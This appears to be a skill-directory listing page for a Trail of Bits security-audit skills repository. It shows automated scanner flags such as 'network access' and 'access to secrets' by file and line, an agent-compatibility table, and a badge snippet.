- Dangerous shell operation in code of documentationagentic-actions-auditor/references/action-profiles.md:84Low confidence
- Dangerous shell operation in code of documentationagentic-actions-auditor/references/action-profiles.md:168Low confidence
- Network access in prose of documentationagentic-actions-auditor/references/cross-file-resolution.md:183Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueagentic-actions-auditor/references/cross-file-resolution.md:185Low confidence
- Network access in prose of documentationagentic-actions-auditor/references/foundations.md:98Low confidence
- Access to secrets in prose of documentationagentic-actions-auditor/references/vector-c-cli-data-fetch.md:37Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueagentic-actions-auditor/references/vector-c-cli-data-fetch.md:43Low confidence
- Dangerous shell operation in prose of documentationagentic-actions-auditor/references/vector-f-subshell-expansion.md:51Low confidence
- Network access in prose of documentationagentic-actions-auditor/references/vector-f-subshell-expansion.md:51Low confidence
- Access to secrets in prose of documentationagentic-actions-auditor/references/vector-f-subshell-expansion.md:51Low confidence
- Access to secrets in code of documentation: a variable, placeholder or call, not a stored valueagentic-actions-auditor/references/vector-f-subshell-expansion.md:68Low confidence
- Network access in prose of documentationagentic-actions-auditor/references/vector-f-subshell-expansion.md:72Low confidence
- Network access in prose of documentationagentic-actions-auditor/references/vector-f-subshell-expansion.md:73Low confidence
- Network access in prose of documentationagentic-actions-auditor/references/vector-f-subshell-expansion.md:74Low confidence
- Dangerous shell operation in prose of documentationagentic-actions-auditor/references/vector-g-eval-of-ai-output.md:36Low confidence
- Network access in code of documentationagentic-actions-auditor/references/vector-g-eval-of-ai-output.md:76Low confidence
- Network access in code of documentationagentic-actions-auditor/references/vector-g-eval-of-ai-output.md:78Low confidence
- Access to secrets in code of documentation: a variable, placeholder or call, not a stored valueagentic-actions-auditor/references/vector-g-eval-of-ai-output.md:78Low confidence
- Access to secrets in prose of documentationagentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md:65Low confidence
- Possible obfuscation in code of documentationaudit-context-building/resources/ANALYSIS_FORMAT.md:25Low confidence
- Possible obfuscation in code of documentationaudit-context-building/resources/ANALYSIS_FORMAT.md:28Low confidence
- Network access in prose of the SKILL.mdalgorand-vulnerability-scanner/SKILL.md:299Low confidence
- Network access in prose of the SKILL.mdalgorand-vulnerability-scanner/SKILL.md:300Low confidence
- Network access in prose of the SKILL.mdalgorand-vulnerability-scanner/SKILL.md:301Low confidence
- Network access in prose of the SKILL.mdalgorand-vulnerability-scanner/SKILL.md:302Low confidence
- Network access in code of the SKILL.mdaudit-prep-assistant/SKILL.md:295High confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:63Low confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:64Low confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:65Low confidence
- Network access in code of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:307High confidence
- Network access in code of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:308High confidence
- Network access in code of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:309High confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:317Low confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:318Low confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:319Low confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:320Low confidence
- Network access in prose of the SKILL.mdcairo-vulnerability-scanner/SKILL.md:321Low confidence
- Network access in prose of the SKILL.mdcosmos-vulnerability-scanner/SKILL.md:185Low confidence
- Network access in prose of the SKILL.mdcosmos-vulnerability-scanner/SKILL.md:186Low confidence
- Network access in prose of the SKILL.mdcosmos-vulnerability-scanner/SKILL.md:187Low confidence
and 448 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
Explore alternatives and comparisons
Add this badge to your README
It updates every night and links to this page.
[](https://hotskills.dev/skill/trailofbits-skills/)